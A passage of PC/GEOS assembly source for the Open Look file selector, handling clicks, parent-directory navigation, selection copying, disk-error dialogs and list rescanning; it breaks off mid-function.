$Id: copenFileSelectorLow.asm,v 1.3 98/03/08 17:01:15 gene Exp $
-------------------------------------------------------------------------------@
FileSelector segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorListMethod
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: handle click on file/directory or volume name
CALLED BY: INTERNAL
PASS: *ds:si - OLFileSelector instance
cx = entry #
(OLFS_UP_DIRECTORY_ENTRY_NUM to go up a directory)
RETURN:
DESTROYED:
NOTE: invalidates any chunk pointers, dereference them
again or die
PSEUDO CODE/STRATEGY:
single click on first item --> send notification
single click on any other item --> send notification
double click on directory --> send notification & open
double click on first item --> up directory
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 01/29/90 Initial version
brianc 4/91 Completed 2.0 revisions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorDoublePress method OLFileSelectorClass, \
MSG_OL_FILE_SELECTOR_DOUBLE_PRESS
mov bp, -1 ;say is double press
GOTO HandleFileSelectorUserAction
OLFileSelectorDoublePress endm
OLFileSelectorListMethod method OLFileSelectorClass, \
MSG_OL_FILE_SELECTOR_LIST_MESSAGE
clr bp ;no double press
if _DUI
;
; if selecting already selected item, open it
;
mov ax, TEMP_GEN_FILE_SELECTOR_DATA
call ObjVarFindData
jnc noOpen
cmp cx, ds:[bx].GFSTDE_selectionNumber ; same?
je openIt
noOpen:
endif
mov di, segment olFileSelectorSingleClickToOpen
mov es, di
tst es:[olFileSelectorSingleClickToOpen]
jz HandleFileSelectorUserAction
call OLFSDeref_SI_Spec_DI
test ds:[di].OLFSI_state, mask OLFSS_SINGLE_ACTION
jz HandleFileSelectorUserAction
;
; Fake a double press.
;
openIt::
mov bx, ds:[LMBH_handle]
mov ax, MSG_OL_FILE_SELECTOR_DOUBLE_PRESS
mov di, mask MF_FORCE_QUEUE
call ObjMessage
HandleFileSelectorUserAction label far
doublePressFlag local word \
push bp
fsChunk local word \
push si
genAttrs local FileSelectorAttrs
.enter
call OLFSDeref_SI_Gen_DI ; save attrs for easy perusal
mov ax, ds:[di].GFSI_attrs
mov genAttrs, ax
call OLFSDeref_SI_Spec_DI ; ds:di = specific instance
; showing parent dir?
test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR
jz skipFirstEntryCheck ; nope, no special first entry
; handling
LONG jcxz firstEntry
skipFirstEntryCheck:
cmp cx, OLFS_UP_DIRECTORY_ENTRY_NUM
LONG je upDirectory
;
; handle click on any other item
; single click --> send notification
; double click --> send notification & open if directory
;
; *ds:si = OLFileSelector
; cx = entry number (non-zero if OLFSS_SHOW_PARENT_DIR)
;
call OLFSDeref_SI_Spec_DI ; ds:di = specific instance
push bp
tst doublePressFlag
mov bp, 0 ; (preserve flags)
jz haveEntryFlags ; not double-press
mov bp, mask GFSEF_OPEN ; else, signal open
haveEntryFlags:
call OLFSBuildEntryFlagsAndSendADLow ; es:si = locked entry buffer
; bx = file buffer handle
; (or bx=0 and es:si invalid,
; if no entries or first entry)
pop bp
tst bx ; this shouldn't happen!
LONG jz done
tst doublePressFlag
jz updateCurDirPopupAndDoneUnlock ; single click, that's all
;
; double-click, if directory open it
; (file buffer will be nuked by rescan in MSG_OL_FILE_SELECTOR_PATH_SET)
;
test genAttrs, mask FSA_ALLOW_CHANGE_DIRS
jz doneUnlock ; no directory changing!
test es:[si].OLFSE_fileAttrs, mask FA_SUBDIR ; directory?
jz doneUnlock
mov cx, es ; cx:dx = name of dir to open
lea dx, es:[si].OLFSE_name
mov si, fsChunk ; *ds:si = OLFileSelector
push bp
clr bp ; set relative to current dir.
mov ax, MSG_OL_FILE_SELECTOR_PATH_SET
call ObjCallInstanceNoLock
pop bp
LONG jnc done
call OLFSNotifyUserOfDiskError ; report error and leave
jmp done
updateCurDirPopupAndDoneUnlock:
push bx
mov si, fsChunk ; *ds:si = OLFileSelector
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP
call OLFSShowCurrentDir
endif
pop bx
doneUnlock:
call MemUnlock ; unlock file buffer
jmp done
firstEntry:
tst doublePressFlag ; double-press --> up directory
jnz checkAndUpDirectory
;
; single click on current directory entry
;
mov si, fsChunk ; *ds:si = OLFileSelector
push bp
clr bp ; first entry
call OLFSBuildEntryFlagsAndSendAD ; send notification about click
pop bp
if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP
call OLFSShowCurrentDir ; update for selection change
endif
jmp done
checkAndUpDirectory:
test genAttrs, mask FSA_ALLOW_CHANGE_DIRS
LONG jz done ; no changing directories
upDirectory:
call OLFSIsCurDirVirtualRoot ; are we at v.root?
LONG jc done ; yes, do nothing
;
; Need to determine the last component of the current path so we can
; set it as the suggested selection when we rescan for the parent
; directory. This is made more interesting by the kernel's tendency
; to return a StandardPath + tail for any directory in the PC/GEOS
; tree, thus often giving us a root GFP_path.
;
push bp
mov bp, sp ; bp <- current sp for clearing once
; final component is found.
mov cx, PATH_BUFFER_SIZE
sub sp, cx
if HAVE_FAKE_FILE_SYSTEM
call OLFSDeref_SI_Gen_DI
test ds:[di].GFSI_fileCriteria, mask FSFC_USE_FAKE_FILE_SYSTEM
jnz useFakeFS
endif
mov ax, ATTR_GEN_PATH_DATA
mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE
call GenPathFetchDiskHandleAndDerefPath
mov si, bx ; ds:si <- GenFilePath
mov di, sp
segmov es, ss
mov bx, ds:[si].GFP_disk ; bx <- current disk
push si ; save base of GenFilePath
add si, offset GFP_path ; ds:si <- path tail (empty, but
; this is convenient)
clr dx ; don't add drive name, thanks.
call FileConstructFullPath
pop si ; ds:si <- GenFilePath
mov cx, ss ; cx:dx <- path from which to get
mov dx, sp ; final component.
mov di, sp
havePath::
cmp {word}ss:[di], C_BACKSLASH or (0 shl 8) ; really root?
DBCS < jne notRoot >
DBCS < cmp {wchar}ss:[di][2], 0 >
je clearStackAndGoUp ; yes, don't bother with search
DBCS <notRoot: >
;
; Find the end of the whole thing. cx:dx = string to scan
;
mov es, cx
mov di, dx
mov cx, -1
SBCS < clr al >
DBCS < clr ax >
LocalFindChar ; get to the end, first repne scasb/w
;
; Now scan backwards for the first backslash.
;
not cx ; cx <- count, including null
LocalLoadChar ax, C_BACKSLASH ; search for first backslash
LocalPrevChar esdi ; starting with null
std
LocalFindChar ; repne scasb/scasw
cld
jne atBackslash ; => no backslash, so DI is just before the
; start of the string, meaning we want to
; do only a single-increment
LocalNextChar esdi ; else point di at backslash
atBackslash:
LocalNextChar esdi ; skip over backslash
mov si, di
mov di, ss:[bp] ; di <- frame pointer
mov di, ss:[di+offset fsChunk] ; *ds:di <- GenFileSelector
mov di, ds:[di]
add di, ds:[di].Gen_offset ; ds:di = Gen instance
segxchg ds, es ; ds:si <- tail, es:di <- GFSI_selection
SBCS < mov cx, size GFSI_selection >
DBCS < mov cx, (size GFSI_selection)/2 >
DBCS < CheckHack <((size GFSI_selection) and 1) eq 0> >
add di, offset GFSI_selection
LocalCopyNString ; rep movsb/movsw
segmov ds, es ; ds <- object segment, again
clearStackAndGoUp:
;
; Clear the stack of any path buffer we created.
;
mov sp, bp
pop bp
mov si, fsChunk ; *ds:si = GenFileSelector
;
; Now be easy and just set the path to be ".." relative to the current
; one. This will cause a rescan, etc. etc. etc.
;
push bp
NOFXIP< mov cx, cs >
NOFXIP< mov dx, offset dotdotString >
FXIP < push ds >
FXIP < segmov ds, cs, dx >
FXIP < mov dx, offset dotdotString >
FXIP < clr cx >
FXIP < call SysCopyToStackDSDX >
FXIP < mov cx, ds ; cx:dx = string >
FXIP < pop ds >
clr bp ; relative to current dir.
setPath:
mov ax, MSG_GEN_PATH_SET ; re-use GFI_selection
call ObjCallInstanceNoLock
FXIP < call SysRemoveFromStack >
popDone:
pop bp
done:
.leave
ret
if HAVE_FAKE_FILE_SYSTEM
;
; OK, we need to get the path (so we can pick out the last
; element and set the selector appropriately).
;
useFakeFS:
mov dx, sp
mov cx, ss
mov ax, MSG_GEN_FILE_SELECTOR_FAKE_PATH_GET
call ObjCallInstanceNoLock
mov di, dx
dec di ; if the last char is a
; backslash then we are at
; root. See havePath..
mov dx, sp
jmp havePath
endif ; HAVE_FAKE_FILE_SYSTEM
OLFileSelectorListMethod endp
LocalDefNLString dotdotString <"..", 0>
LocalDefNLString rootPath <C_BACKSLASH, 0>
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSNotifyUserOfDiskError
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Tell the user we were unable to register the disk when
trying to switch out of volume mode.
CALLED BY: OLFileSelectorListMethod
PASS: *ds:si -- file selector
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 1/29/92 Initial version
chris 7/20/93 Mucked up
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSNotifyUserOfDiskError proc near
uses bp, es
.enter
if HAVE_FAKE_FILE_SYSTEM
;
; If the file selector is using a FAKE_FILE_SYSTEM, then it's
; expected to handle its own errors and not rely on the
; default file selector error handling.
;
call OLFSDeref_SI_Gen_DI
test ds:[di].GFSI_fileCriteria, mask FSFC_USE_FAKE_FILE_SYSTEM
jnz done
endif
;
; Set up the parameters to notify the user of our inability to open
; the disk volume, with no one needing to be notified when the user
; has acknowledged.
;
mov dx, size GenAppDoDialogParams
sub sp, dx
mov bp, sp
if SINGLE_DRIVE_DOCUMENT_DIR
mov ss:[bp].GADDP_finishOD.chunk, si
mov ax, ds:[LMBH_handle]
mov ss:[bp].GADDP_finishOD.handle, ax
mov ss:[bp].GADDP_message, \
MSG_OL_FILE_SELECTOR_DISK_ERROR_RESPONSE
clr ax
mov ss:[bp].GADDP_dialog.SDP_helpContext.segment, ax
mov ss:[bp].GADDP_dialog.SDP_customFlags, \
CustomDialogBoxFlags <TRUE, CDT_ERROR, GIT_MULTIPLE_RESPONSE, 0, 0>
if _FXIP
mov cx, (size StandardDialogResponseTriggerEntry * 2) \
+ size word ; cx = size of table
segmov es, cs, di
mov di, offset DNF_Triggers ; es:di = table
call SysCopyToStackESDI
movdw ss:[bp].GADDP_dialog.SDP_customTriggers, esdi
else
mov ax, offset DNF_Triggers
movdw ss:[bp].GADDP_dialog.SDP_customTriggers, csax
endif
else
clr ax
mov ss:[bp].GADDP_finishOD.chunk, ax
mov ss:[bp].GADDP_finishOD.handle, ax
mov ss:[bp].GADDP_message, ax
mov ss:[bp].GADDP_dialog.SDP_helpContext.segment, ax
mov ss:[bp].GADDP_dialog.SDP_customFlags, \
CustomDialogBoxFlags <FALSE, CDT_ERROR, GIT_NOTIFICATION, 0, 0>
movdw ss:[bp].GADDP_dialog.SDP_customTriggers, axax
endif
mov bx, handle DiskNotFoundString
call MemLock
push bx
mov es, ax
mov bx, offset DiskNotFoundString
mov ax, es:[bx]
movdw ss:[bp].SDP_customString, esax
;
; Call the application object, passing the requisite data on the stack
;
mov ax, MSG_GEN_APPLICATION_DO_STANDARD_DIALOG
mov di, mask MF_STACK or mask MF_CALL or mask MF_FIXUP_DS
clr bx
call GeodeGetAppObject
call ObjMessage
pop bx
call MemUnlock
;
; Done...
;
if SINGLE_DRIVE_DOCUMENT_DIR and _FXIP
call SysRemoveFromStack
endif
add sp, size GenAppDoDialogParams
done::
.leave
ret
OLFSNotifyUserOfDiskError endp
if SINGLE_DRIVE_DOCUMENT_DIR
DNF_Triggers label StandardDialogResponseTriggerTable
word 2 ; SDRTT_numTriggers
StandardDialogResponseTriggerEntry <
DiskNotFound_OK, ; SDRTE_moniker
IC_OK ; SDRTE_responseValue
>
StandardDialogResponseTriggerEntry <
DiskNotFound_Cancel, ; SDRTE_moniker
IC_DISMISS ; SDRTE_responseValue
>
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSDerefIndexBuffer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fetch the offset of the given list entry in the file buffer.
CALLED BY: INTERNAL
PASS: ds:di = OLFileSelectorInstance
cx = entry # (0-origin)
RETURN: si = offset of OLFileSelectorEntry in file buffer
DESTROYED: bx, es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc ?/?/? Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSDerefIndexBuffer proc near
class OLFileSelectorClass
EC < cmp cx, ds:[di].OLFSI_numFiles >
EC < ERROR_AE OL_FILE_SELECTOR_BAD_ENTRY_NUMBER >
mov si, cx
shl si, 1 ; si = offset in index buffer
mov bx, ds:[di].OLFSI_indexBuffer
call OLFSMemLock_ES ; lock index buffer
mov si, es:[si] ; si = offset in file buffer
call MemUnlock ; unlock index buffer
ret
OLFSDerefIndexBuffer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSSendAD
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: send notification of file being selected to action
descriptor of GenFileSelector
CALLED BY: INTERNAL
OLFileSelectorListMethod
OLFileSelectorRescan
PASS: *ds:si = OLFileSelector
ax = entry # clicked on
cx = GenFileSelectorEntryFlags (see genFileSelector.asm)
GFSEF_TYPE - type of entry clicked on
GFSET_FILE - if clicked on file
GFSET_SUBDIR - if clicked on subdirectory
GFSET_VOLUME - if clicked on volume
GFSEF_OPEN - if double-clicked to open
GFSEF_NO_ENTRIES - if no entries in list
GFSEF_ERROR - set if error occured reading file list
GFSEF_TEMPLATE - set if file is a template (from
GFHF_TEMPLATE)
GFSEF_SHARED_MULTIPLE - set if file is shared with
multiple writers (from
GFHF_SHARED_MULTIPLE)
GFSEF_SHARED_SINGLE - set if file is shared with single
writer (from GFHF_SHARED_SINGLE)
GFSEF_READ_ONLY - set if file is read-only (from
FA_RDONLY)
GFSEF_PARENT_DIR - set if current selection is the
parent directory entry (first entry)
if RUDY & non-exclusive,
bp = GenFileSelectorEntryFlags mask
ax = number of selections
dx = handle of block containing selections
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
send to AD:
cx - entry # of selection
bp - GenFileSelectorEntryFlags
GFSEF_TYPE - type of entry clicked on
GFSET_FILE - click on file
GFSET_SUBDIR - click on subdirectory
GFSET_VOLUME - click on volume
GFSEF_OPEN - if double click
GFSEF_NO_ENTRIES - if no entries in list
GFSEF_ERROR - set if error occured reading
file list
GFSEF_TEMPLATE - set if file is a template (from
GFHF_TEMPLATE)
GFSEF_SHARED_MULTIPLE - set if file is shared
with multiple writers (from
GFHF_SHARED_MULTIPLE)
GFSEF_SHARED_SINGLE - set if file is shared with
single writer (from
GFHF_SHARED_SINGLE)
GFSEF_READ_ONLY - set if file is read-only (from
FA_RDONLY)
GFSEF_PARENT_DIR - set if current selection is
the parent directory entry
(first entry)
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 02/14/90 Initial version
brianc 4/91 Completed 2.0 revisions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSSendAD proc near
uses ax, bx, cx, dx, si, di, bp
class GenFileSelectorClass
.enter
call OLFSCopySelection ; copy selection into Gen
mov bp, cx ; pass flags in bp
mov cx, ax ; cx = entry #
call OLFSDeref_SI_Gen_DI ; ds:di = generic instance
pushdw ds:[di].GFSI_destination ; push OD to which to send
mov ax, ds:[di].GFSI_notificationMsg; ax = message to send
; force queue, in case output
; is obj run by UI thread
mov di, mask MF_FORCE_QUEUE ;If we do not clear the queue
; before sending this, it is
; possible that the file
; selector will not be in a
; valid state.
call GenProcessAction ;use standard utility to ship
; it
.leave
ret
OLFSSendAD endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSCopySelection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: copy current selection to generic instance data
CALLED BY: INTERNAL
OLFSSendAD
PASS: *ds:si - file selector instance
ax = entry # clicked on
cx = GenFileSelectorEntryFlags (see genFileSelector.asm)
GFSEF_TYPE - type of entry clicked on
GFSET_FILE - if clicked on file
GFSET_SUBDIR - if clicked on subdirectory
GFSET_VOLUME - if clicked on volume
GFSEF_OPEN - if double-clicked to open
GFSEF_NO_ENTRIES - if no entries in list
GFSEF_ERROR - if error occurred (this is cleared
before storing in generic instance
data as
MSG_GEN_FILE_SELECTOR_GET_SELECTION
never returns this bit)
GFSEF_TEMPLATE - set if file is a template (from
GFHF_TEMPLATE)
GFSEF_SHARED_MULTIPLE - set if file is shared with
multiple writers (from
GFHF_SHARED_MULTIPLE)
GFSEF_SHARED_SINGLE - set if file is shared with single
writer (from GFHF_SHARED_SINGLE)
GFSEF_READ_ONLY - set if file is read-only (from
FA_RDONLY)
GFSEF_PARENT_DIR - set if current selection is the
parent directory entry (first entry)
if RUDY & non-exclusive,
bp = GenFileSelectorEntryFlags mask
ax = number of selections
dx = handle of block containing selections (can be
0 if no selections)
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
For the Rudy version, if the file selector is non-exclusive,
do something similar to what we did in
OLFSBuildEntryFlagsAndSendADLow, and insert a loop around
the code that processes one file. And instead of copying
to GFSI_selection, copy to the buffer at EFSI_selections
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 03/02/90 Initial version
brianc 4/91 Completed 2.0 revisions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSCopySelection proc near
uses ax, bx, cx, dx, si, es, di, bp
class OLFileSelectorClass
.enter
andnf cx, not mask GFSEF_ERROR ; clear error flag
call OLFSFindTempData ; ds:bx = GFS temp data
; MAY CAUSE OBJ BLOCK MOTION!
mov ds:[bx].GFSTDE_selectionFlags, cx ; save selection flags
mov ds:[bx].GFSTDE_selectionNumber, ax ; save selection #
mov bx, ax ; bx = entry #
skipTempShme::
segmov es, ds
call OLFSDeref_SI_Gen_DI ; ds:di = generic instance
add di, GFSI_selection ; es:di = selection field
SBCS < mov {byte} es:[di], 0 ; in case no files, etc. >
DBCS < mov {wchar}es:[di], 0 ; in case no files, etc. >
;
; use entry number to get filename from buffer
; bx = entry #
; es:di = dest buffer for selection
; *ds:si = OLFileSelector
;
push di ; save dest buffer offset
call OLFSDeref_SI_Spec_DI ; ds:di = specific instance
; showing parent dir?
test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR
pop di ; restore dest buffer offset
jz actualBufferEntry ; not showing parent dir,
; use actual buffer entry
tst bx ; first entry?
jnz bufferEntry ; no, is buffer entry
;
; use '.' to indicate current directory selected
;
mov ax, '.' or (0 shl 8)
stosw ; stuff '.'
DBCS < clr ax >
DBCS < stosw >
jmp short oneFileEnd
bufferEntry:
dec bx ; convert to buffer entry #
actualBufferEntry:
push di ; save dest buffer offset
call OLFSDeref_SI_Spec_DI ; ds:di = specific instance
tst ds:[di].OLFSI_numFiles ; any files?
pop di ; restore dest buffer offset
jz oneFileEnd ; nope, nothing to copy
EC < push cx >
mov cx, bx
push es, di ; save selection dest buffer
call OLFSDeref_SI_Spec_DI ; ds:di = specific instance
call OLFSDerefIndexBuffer ; si = file buffer offset
mov bx, ds:[di].OLFSI_fileBuffer ; lock file buffer
pop es, di ; restore selection dest buffer
call MemLock
mov ds, ax ; ds:si = entry to get
;
; get file/directory selection
;
EC < pop cx >
EC < andnf cx, mask GFSEF_TYPE >
EC < mov ax, GFSET_SUBDIR shl offset GFSEF_TYPE >
EC < test ds:[si].OLFSE_fileAttrs, mask FA_SUBDIR >
EC < jnz checkType
EC < mov ax, GFSET_VOLUME shl offset GFSEF_TYPE >
EC < test ds:[si].OLFSE_fileAttrs, mask FA_VOLUME >
EC < jnz checkType >
EC < mov ax, GFSET_FILE shl offset GFSEF_TYPE >
EC <checkType: >
EC < cmp ax, cx >
EC < ERROR_NE OL_FILE_SELECTOR_BAD_ENTRY_TYPE >
add si, offset OLFSE_name
SBCS < mov cx, FILE_LONGNAME_BUFFER_SIZE ; cx = size of buffer for name>
DBCS < mov cx, FILE_LONGNAME_BUFFER_SIZE/2 ; cx = size of buffer for name>
SBCS < rep movsb >
DBCS < rep movsw >
call MemUnlock ; unlock file buffer
segmov ds, es ; ds <- object segment, again
oneFileEnd:
exit::
.leave
ret
OLFSCopySelection endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSResetSearch
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the search text to nil, and restores all items
CALLED BY: MSG_EFS_RESET_SEARCH
PASS: *ds:si = OLFileSelectorClass object
ds:di = OLFileSelectorClass instance data
ds:bx = OLFileSelectorClass object (same as *ds:si)
es = segment of OLFileSelectorClass
ax = message #
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cthomas 12/23/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFileSelectorRescan
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: rebuilds list using current volume, path (in generic
instance data)
CALLED BY: MSG_GEN_FILE_SELECTOR_RESCAN
PASS: *ds:si - instance of OLFileSelector
ax = MSG_GEN_FILE_SELECTOR_RESCAN
RETURN: nothing
DESTROYED:
NOTE: invalidates any chunk pointers, dereference them
again or die
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 02/01/90 Initial version
brianc 4/91 Completed 2.0 revisions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFileSelectorRescan method dynamic OLFileSelectorClass,
MSG_GEN_FILE_SELECTOR_RESCAN
;
; mark busy
;
mov ax, MSG_GEN_APPLICATION_MARK_APP_COMPLETELY_BUSY
call UserCallApplication
call OLFSRescanLow
;
; mark not busy
; carry - error flag
;
mov ax, MSG_GEN_APPLICATION_MARK_APP_NOT_COMPLETELY_BUSY
call UserCallApplication
ret
OLFileSelectorRescan endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSSelectHomeFolder
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Select the home folder
CALLED BY:
PASS: *ds:si = instance data
RETURN: carry set if home folder found
DESTROYED: ax, bx, cx, dx, di, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JS 10/18/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLFSRescanLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Rebuild the list of things to display and display them.
CALLED BY: INTERNAL
OLFileSelectorRescan,
PASS: *ds:si = GenFileSelector
RETURN: nothing
NOTE: invalidates any chunk pointers, dereference them
again or die
DESTROYED: ax, bx, cx, dx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc ?/?/? Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLFSRescanLow proc near
class OLFileSelectorClass
mov di, 1000
call ThreadBorrowStackSpace
push di
;
; start by setting OLFSS_SHOW_PARENT_DIR based on FSFC_DIRS
; (In Rudy, we never show the parent dir, up-directory is up to caller)
;
call OLFSDeref_SI_Spec_DI ; ds:di = specific instance
if not _DUI
ornf ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR
push di ; save spec offset
call OLFSDeref_SI_Gen_DI
test ds:[di].GFSI_fileCriteria, mask FSFC_DIRS
pop di ; restore spec offset
jnz haveParentDirFlag ; showing dirs, leave parent dir
; else, clear
endif
andnf ds:[di].OLFSI_state, not mask OLFSS_SHOW_PARENT_DIR
haveParentDirFlag:
call OLFSFreeBuffers
push si ; save our chunk
call OLFSReadList ; read new directory
;
; determine entry to select
;
call OLFSDeref_SI_Gen_DI ; ds:di = generic instance
mov si, ds:[si]
add si, ds:[si].Vis_offset ; ds:si = specific instance
call OLFSResolveSelection ; dx = entry # to select
; (destroys nothing)
gotSelection:
;
; tell list to use new stuff
; dx = entry to select in new list
;
mov cx, ds:[si].OLFSI_numFiles ; cx = number of files/dirs
; showing parent dir?
test ds:[si].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR
jz noParentDir ; nope, use actual file count
inc cx ; make room for cur dir entry
noParentDir:
mov bx, ds:[si].OLFSI_uiBlock
mov si, offset OLFileSelectorFileList
push dx ; save new entry selected
if _FILE_TABLE
mov ax, MSG_TABLE_SET_ROW_COUNT
mov di, mask MF_FIXUP_DS
call ObjMessage
mov ax, MSG_TABLE_REDRAW_TABLE
else
mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE
endif
mov di, mask MF_FIXUP_DS
if _DUI
push cx ; save file count
endif
call ObjMessage
if _DUI
;
; set file count in header
; bx = UI block
;
pop ax ; ax = file count
sub sp, UHTA_NULL_TERM_BUFFER_SIZE
segmov es, ss, di
mov di, sp
clr dx
mov cx, mask UHTAF_NULL_TERMINATE
call UtilHex32ToAscii
push di
mov cx, -1
LocalLoadChar ax, C_NULL
LocalFindChar esdi
LocalPrevChar esdi ; es:di = null
LocalLoadChar ax, C_SPACE
LocalPutChar esdi, ax
LocalLoadChar ax, C_NULL
LocalPutChar esdi, ax
pop di
mov dx, ss
mov bp, di
mov si, offset OLFileSelectorFileCount
clr cx ; null-terminated
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
add sp, UHTA_NULL_TERM_BUFFER_SIZE
pop ax ; ax = entry #
pop si ; si = FS chunk
push si ; put it all back
push ax
;always use default name as we don't want to overload template dir
;though we still copy template dir into vis moniker as flag to enable
;file count (yes, a bad thing)
;-- brianc 3/1/97
; mov ax, MSG_VIS_TEXT_APPEND_PTR ; assume using moniker
; mov di, ds:[si]
; add di, ds:[di].Gen_offset
; mov di, ds:[di].GI_visMoniker
; tst di
; jnz haveMoniker
;
; use default name (not really needed as we set the file count
; not usable if there's no moniker, but it is used for gstring
; monikers...)
;
noMoniker:
mov ax, MSG_VIS_TEXT_APPEND_OPTR
mov dx, handle FSFileCountDefaultName
mov bp, offset FSFileCountDefaultName
jmp short setMoniker
haveMoniker:
mov di, ds:[di] ; ds:di = VisMoniker
test ds:[di].VM_type, mask VMT_MONIKER_LIST or mask VMT_GSTRING
jnz noMoniker
mov bp, di
add bp, offset VM_data.VMT_text ; dx:bp = text moniker
mov dx, ds
setMoniker:
clr cx ; null-terminated
mov si, offset OLFileSelectorFileCount
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
mov si, offset OLFileSelectorFileList ; set ^lbx:si = list
endif ; _DUI
pop dx
;
; force list to make selected entry visible
;
push dx ; save entry selected for later
mov cx, dx ; cx = entry to select
if _FILE_TABLE
